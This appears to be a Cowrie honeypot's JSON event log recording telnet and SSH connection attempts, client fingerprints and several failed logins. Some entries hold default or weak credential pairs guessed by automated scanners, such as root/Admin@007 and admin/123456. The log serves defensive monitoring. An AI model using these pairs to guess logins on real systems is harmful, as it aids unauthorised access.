{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":38144,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f945191a4a8","protocol":"telnet","message":"New connection: 172.81.62.90:38144 (159.203.135.109:23) [session: 3f945191a4a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:37:19.488429Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":38164,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bc7327f016d","protocol":"telnet","message":"New connection: 172.81.62.90:38164 (159.203.135.109:23) [session: 6bc7327f016d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:37:32.798485Z"}
{"eventid":"cowrie.session.closed","duration":41.9545476436615,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:37:33.374831Z","src_ip":"128.199.8.54","session":"e89a3b68aa0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":42244,"dst_ip":"159.203.135.109","dst_port":23,"session":"d47833208051","protocol":"telnet","message":"New connection: 172.81.62.90:42244 (159.203.135.109:23) [session: d47833208051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:37:50.016038Z"}
{"eventid":"cowrie.session.closed","duration":36.50152778625488,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:37:55.989593Z","src_ip":"172.81.62.90","session":"3f945191a4a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":56040,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ad169e2d8e2","protocol":"telnet","message":"New connection: 107.6.151.170:56040 (159.203.135.109:23) [session: 1ad169e2d8e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:38:10.269730Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":44474,"dst_ip":"159.203.135.109","dst_port":23,"session":"69f75201437f","protocol":"telnet","message":"New connection: 107.6.151.170:44474 (159.203.135.109:23) [session: 69f75201437f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:38:12.269079Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.8","src_port":36720,"dst_ip":"10.17.0.5","dst_port":22,"session":"3045a2b61da8","protocol":"ssh","message":"New connection: 91.92.40.8:36720 (10.17.0.5:22) [session: 3045a2b61da8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:38:16.938239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:38:17.089697Z","src_ip":"91.92.40.8","session":"3045a2b61da8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:38:17.093177Z","src_ip":"91.92.40.8","session":"3045a2b61da8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:38:17.908965Z","src_ip":"91.92.40.8","session":"3045a2b61da8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:38:19.605840Z","src_ip":"91.92.40.8","session":"3045a2b61da8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.340391874313354,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:38:20.138738Z","src_ip":"172.81.62.90","session":"6bc7327f016d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.64150547981262,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:38:26.657407Z","src_ip":"172.81.62.90","session":"d47833208051","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"150.136.89.86","src_port":52536,"dst_ip":"10.17.0.5","dst_port":23,"session":"db56b80c48e3","protocol":"telnet","message":"New connection: 150.136.89.86:52536 (10.17.0.5:23) [session: db56b80c48e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:38:31.786787Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.128.201.18","src_port":37792,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0668d3af3f3","protocol":"ssh","message":"New connection: 190.128.201.18:37792 (159.203.135.109:22) [session: f0668d3af3f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:38:38.824435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:38:38.828825Z","src_ip":"190.128.201.18","session":"f0668d3af3f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:38:38.969920Z","src_ip":"190.128.201.18","session":"f0668d3af3f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testnet","password":"123456","message":"login attempt [testnet/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:38:39.576926Z","src_ip":"190.128.201.18","session":"f0668d3af3f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:38:40.725759Z","src_ip":"190.128.201.18","session":"f0668d3af3f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.09253764152527,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:38:41.362137Z","src_ip":"107.6.151.170","session":"1ad169e2d8e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":50660,"dst_ip":"159.203.135.109","dst_port":23,"session":"76f7bf121a09","protocol":"telnet","message":"New connection: 107.6.151.170:50660 (159.203.135.109:23) [session: 76f7bf121a09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:38:49.868312Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":55254,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe453b3080e0","protocol":"ssh","message":"New connection: 2.57.122.238:55254 (159.203.135.109:22) [session: fe453b3080e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:38:56.563503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:38:56.568018Z","src_ip":"2.57.122.238","session":"fe453b3080e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:38:56.673651Z","src_ip":"2.57.122.238","session":"fe453b3080e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:38:56.995588Z","src_ip":"2.57.122.238","session":"fe453b3080e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:38:58.104258Z","src_ip":"2.57.122.238","session":"fe453b3080e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.939399242401123,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:39:02.726054Z","src_ip":"150.136.89.86","session":"db56b80c48e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.224.194","src_port":39800,"dst_ip":"10.17.0.5","dst_port":22,"session":"06804c9a54a4","protocol":"ssh","message":"New connection: 4.213.224.194:39800 (10.17.0.5:22) [session: 06804c9a54a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:39:05.607704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:39:05.612439Z","src_ip":"4.213.224.194","session":"06804c9a54a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:39:05.817647Z","src_ip":"4.213.224.194","session":"06804c9a54a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo15","password":"123","message":"login attempt [odoo15/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:39:06.663728Z","src_ip":"4.213.224.194","session":"06804c9a54a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:39:07.869987Z","src_ip":"4.213.224.194","session":"06804c9a54a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.215.196","src_port":44534,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f6814b91401","protocol":"ssh","message":"New connection: 123.58.215.196:44534 (10.17.0.5:22) [session: 6f6814b91401]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:39:09.422249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:39:09.427114Z","src_ip":"123.58.215.196","session":"6f6814b91401","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:39:09.652326Z","src_ip":"123.58.215.196","session":"6f6814b91401","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@007","message":"login attempt [root/Admin@007] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:39:10.576665Z","src_ip":"123.58.215.196","session":"6f6814b91401","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:39:11.810905Z","src_ip":"123.58.215.196","session":"6f6814b91401","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0050802230835,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:39:19.266147Z","src_ip":"128.199.209.169","session":"dd9de9fccf5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.51720643043518,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:39:32.385347Z","src_ip":"107.6.151.170","session":"76f7bf121a09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":46686,"dst_ip":"10.17.0.5","dst_port":23,"session":"a41afc28aa3a","protocol":"telnet","message":"New connection: 94.23.66.112:46686 (10.17.0.5:23) [session: a41afc28aa3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:39:45.171910Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":35050,"dst_ip":"10.17.0.5","dst_port":22,"session":"07d30cad9692","protocol":"ssh","message":"New connection: 103.248.120.6:35050 (10.17.0.5:22) [session: 07d30cad9692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:39:52.560599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:39:52.564975Z","src_ip":"103.248.120.6","session":"07d30cad9692","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:39:52.790984Z","src_ip":"103.248.120.6","session":"07d30cad9692","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"front-user","password":"front-user123","message":"login attempt [front-user/front-user123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:39:53.720570Z","src_ip":"103.248.120.6","session":"07d30cad9692","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:39:54.947692Z","src_ip":"103.248.120.6","session":"07d30cad9692","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01220512390137,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:40:12.281221Z","src_ip":"107.6.151.170","session":"69f75201437f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":44668,"dst_ip":"159.203.135.109","dst_port":22,"session":"7eee053199f8","protocol":"ssh","message":"New connection: 62.133.62.83:44668 (159.203.135.109:22) [session: 7eee053199f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:40:18.585483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:40:18.590550Z","src_ip":"62.133.62.83","session":"7eee053199f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:40:18.673690Z","src_ip":"62.133.62.83","session":"7eee053199f8","protocol":"ssh"}
